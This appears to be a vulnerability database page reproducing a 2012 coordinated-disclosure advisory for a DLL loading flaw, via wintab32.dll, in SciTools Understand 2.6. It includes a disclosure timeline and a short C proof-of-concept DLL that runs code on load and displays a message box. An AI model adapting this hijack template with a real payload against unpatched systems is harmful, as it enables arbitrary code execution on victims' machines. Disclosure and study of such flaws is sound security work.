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SciTools Understand 2.6 (wintab32.dll) DLL Loading Arbitrary Code Execution
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 | Design/Logic Flaw | 6 Sep 201210:41 | – | prion |
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 | Scientific Toolworks Understand 'wintab32.dll' DLL Loading Arbitrary Code Execution | 10 Feb 201200:00 | – | nessus |
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SciTools Understand 2.6 (wintab32.dll) DLL Loading Arbitrary Code Execution
Vendor: Scientific Toolworks, Inc.
Product web page: http://www.scitools.com
Affected version: 2.6 (build 598)
Summary: Understand is a static analysis tool for maintaining, measuring,
and analyzing critical or large code bases.
Desc: The vulnerability is caused due to the application loading libraries
(wintab32.dll) in an insecure manner. This can be exploited to load arbitrary
libraries by tricking a user into opening an Understand Project file (.UDB)
located on a remote WebDAV or SMB share.
Tested on: Microsoft Windows XP Professional SP3 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Vendor status:
[29.01.2012] Vulnerability discovered.
[30.01.2012] Contact with the vendor.
[30.01.2012] Vendor replies with e-mail info for their european partner.
[30.01.2012] Contacted the new e-mail given with sent details and PoC code.
[31.01.2012] Vendor answers and sends the report to the appropriate division.
[31.01.2012] Asked vendor for confirmation and scheduled patch release date.
[02.02.2012] Vendor responds with confirmation and a scheduled release for a fix.
[08.02.2012] Vendor releases patched version 2.6.600 (Build 600): http://scitools.com/download/latest/Understand/Understand-2.6.600-Windows-32bit.exe.
[08.02.2012] Coordinated public security advisory released.
Advisory ID: ZSL-2012-5071
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5071.php
Vendor advisory: http://www.scitools.com/support/buildLogs.php
29.01.2012
*/
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_mll()
{
MessageBox(0, "DLL Flownapped!", "DLL Message", MB_OK);
}
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08 Feb 2012 00:00Current
6Medium risk
Vulners AI Score6
CVSS 26.9
EPSS0.00056